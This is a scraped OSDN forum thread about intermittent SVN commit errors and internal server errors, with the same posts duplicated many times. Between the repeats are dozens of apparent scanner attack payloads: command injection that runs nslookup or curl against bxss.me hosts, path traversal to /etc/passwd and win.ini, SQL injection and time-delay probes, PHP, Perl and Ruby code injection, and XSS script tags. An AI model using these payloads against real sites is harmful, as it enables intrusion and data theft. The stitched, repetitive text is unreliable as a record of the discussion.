https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
&echo qtcngv$()\ xgseze\nzxyu||a #' &echo qtcngv$()\ xgseze\nzxyu||a #|" &echo qtcngv$()\ xgseze\nzxyu||a #
'+response.write(9227032*9814759)+'
bv4MYlVS
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
response.write(9227032*9814759)
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
../../../../../../../../../../../../../../etc/passwd
555&echo ujeheh$()\ crgufq\nzxyu||a #' &echo ujeheh$()\ crgufq\nzxyu||a #|" &echo ujeheh$()\ crgufq\nzxyu||a #
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
|echo urcyht$()\ jjmegt\nzxyu||a #' |echo urcyht$()\ jjmegt\nzxyu||a #|" |echo urcyht$()\ jjmegt\nzxyu||a #
expr 9000263403 - 918704
555|echo vdkybb$()\ gkyoik\nzxyu||a #' |echo vdkybb$()\ gkyoik\nzxyu||a #|" |echo vdkybb$()\ gkyoik\nzxyu||a #
$(nslookup -q=cname hitqneuouprsk54b9a.bxss.me||curl hitqneuouprsk54b9a.bxss.me)
file:///etc/passwd
(nslookup -q=cname hitkpzflbazbr611b6.bxss.me||curl hitkpzflbazbr611b6.bxss.me))
../../../../../../../../../../../../../../windows/win.ini
&nslookup -q=cname hitdmxszgqoqi79753.bxss.me&'\"0&nslookup -q=cname hitdmxszgqoqi79753.bxss.me&'
555
12345'"\'\");|]*
|(nslookup -q=cname hitgwnxmkedps8bc7a.bxss.me||curl hitgwnxmkedps8bc7a.bxss.me)
&(nslookup -q=cname hitpkntaskssxb75d3.bxss.me||curl hitpkntaskssxb75d3.bxss.me)&'\"0&(nslookup -q=cname hitpkntaskssxb75d3.bxss.me||curl hitpkntaskssxb75d3.bxss.me)&'
../555
(nslookup -q=cname hitytcmyqjzpgd47a6.bxss.me||curl hitytcmyqjzpgd47a6.bxss.me)
555<esi:include src="http://bxss.me/rpb.png"/>
&(nslookup${IFS}-q${IFS}cname${IFS}hityikrflrndz5a3fe.bxss.me||curl${IFS}hityikrflrndz5a3fe.bxss.me)&'\"0&(nslookup${IFS}-q${IFS}cname${IFS}hityikrflrndz5a3fe.bxss.me||curl${IFS}hityikrflrndz5a3fe.bxss.me)&'
;(nslookup -q=cname hitjziqnlnsdw80ec5.bxss.me||curl hitjziqnlnsdw80ec5.bxss.me)|(nslookup -q=cname hitjziqnlnsdw80ec5.bxss.me||curl hitjziqnlnsdw80ec5.bxss.me)&(nslookup -q=cname hitjziqnlnsdw80ec5.bxss.me||curl hitjziqnlnsdw80ec5.bxss.me)
555
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitsvxpgntbaf728da.bxss.me||curl${IFS}hitsvxpgntbaf728da.bxss.me)
555
555
555
${9999001+10000285}
555
Http://bxss.me/t/fit.txt
555&n992465=v915941
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs
555
555
../../../../../../../../../../../../../../etc/shells
(#$!@#$)(()))******
555
c:/windows/win.ini
)
/etc/shells
!(()&&!|*|*|
555
bxss.me
555
555'&&sleep(27*1000)*hlsagn&&'
555
555"&&sleep(27*1000)*bvnhcp&&"
'.gethostbyname(lc('hitcy'.'imfkihfh3ec9d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(108).chr(65).chr(116).chr(82).'
redirtest.acx
'"()
555
".gethostbyname(lc("hithg"."wxucmwphf16ca.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(69).chr(114).chr(74)."
-1' OR 2+854-854-1=0+0+0+1 --
-1 OR 2+140-140-1=0+0+0+1
555"||sleep(27*1000)*avlysc||"
gethostbyname(lc('hitlh'.'engnhbbm0ceaf.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(88).chr(110).chr(84)
-1 OR 2+983-983-1=0+0+0+1 --
555'||sleep(27*1000)*bqgjpa||'
555
-1" OR 2+808-808-1=0+0+0+1 --
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
-1' OR 2+101-101-1=0+0+0+1 or 'GnWnUocU'='
"+"A".concat(70-3).concat(22*4).concat(99).concat(87).concat(113).concat(89)+(require"socket" Socket.gethostbyname("hitjj"+"sohnfkee1834f.bxss.me.")3.to_s)+"
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
';print(md5(31337));$a='
HttP://bxss.me/t/xss.html?%00
555
${@print(md5(31337))}\
bxss.me/t/xss.html?%00
";print(md5(31337));$a="
'+'A'.concat(70-3).concat(22*4).concat(119).concat(68).concat(115).concat(65)+(require'socket' Socket.gethostbyname('hitft'+'cxxfbxhh5e73d.bxss.me.')3.to_s)+'
555
${@print(md5(31337))}
'A'.concat(70-3).concat(22*4).concat(108).concat(66).concat(106).concat(70)+(require'socket' Socket.gethostbyname('hitgg'+'gdfgjksv975a1.bxss.me.')3.to_s)
ticket_edit_submit.php
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
ticket_edit_submit.php/.
ticket_edit_submit.php
555
'.print(md5(31337)).'
555
555
xfs.bxss.me
555
5559616686
'"
555'"()&%<zzz><ScRiPt >iwAO(9478)</ScRiPt>
<!--
'"()&%<zzz><ScRiPt >iwAO(9223)</ScRiPt>
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
555
555*if(now()=sysdate(),sleep(15),0)
555
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
(匿名) への返信
Reply To quiret
Reply To derekwildstar
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
Funny coincidence I would say! It could just show how enthusiast we are about development and SubVersion (SVN). Anyway, I did count, you currently have 23 and that's one more than I have... Really funny 🤣 Imagine what friggin work a migration for our codebases would imply.
About SVN, well, besides not liking to follow fads, I believe that for what I do, SVN is much better than GIT. Simple to use, and Tortoise SVN, in my opinion, is much better done than Tortoise GIT (which seems to have been made in a hurry to absorb a growing market). About our problem, although it's a funny coincidence, maybe, in fact, we are taking up too much space on the OSDN, I don't know... If only someone came here to say if this is it, I would transfer some of my repositories back to SourceForge, by the way, I'm only here today on OSDN, because SourceForge was having a lot of problems a few years ago. I didn't want to migrate everything back there :/
1 derekwildstar への返信
Just now I tried to commit to one of my SVN repositories and I'm getting the error message "Couldn't perform atomic initialization". When accessing via the website, I can browse my files that are on the server normally (Source Tree) but when clicking on any link with the revision number, an error message also appears: "Internal Error" with the following additional text: "We are sorry for the inconvenience. Please try again after a few minutes. If you get this error continuously, please file a new support ticket or contact admin@osdn.net." I've noticed that all my project revision links are showing the same error message, but when I click on these same links in another developer's SVN project here on OSDN, the link works correctly, as if the problem is only affecting my profile.
quiret への返信
I am encountering the same issue on my SVN repositories. Please help! Also OP is a pretty cool dude.
derekwildstar への返信
Aparently the problem was solved!
quiret への返信
The problem is happening, again.
quiret への返信
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
(匿名) への返信
Reply To quiret
It disappeared again??? Well I did send an E-Mail to admin@osdn.net
At this very moment I don't have any sources to commit, so I can't guarantee that the problem has returned, however, when clicking on the revision number in my project, I can see the related page, and before, when the error happened , I couldn't see that page as an error was displayed. At this moment I can see, so I guess I don't have the problem anymore
derekwildstar への返信
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
quiret への返信
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
derekwildstar への返信
Reply To quiret
Reply To derekwildstar
Today the problem returns... some minutes after my last try the problem was gone... What are heppening?
https://stackoverflow.com/questions/9012538/svn-commit-error-couldnt-perform-atomic-operation My guess is that the OSDN owner company is slacking on server maintenance. Read the post where it says "disk space". I am not entirely sure! I never get any E-Mail replies from them and my Japanese ain't good enough to call them... A real shame because OSDN was running so well when Shuji Sado ( https://osdn.net/users/sado/ ) was running things!
I assume this issue is not affecting everyone. I have over 20 repositories here. Does it have something to do with it?
quiret への返信
Reply To derekwildstar
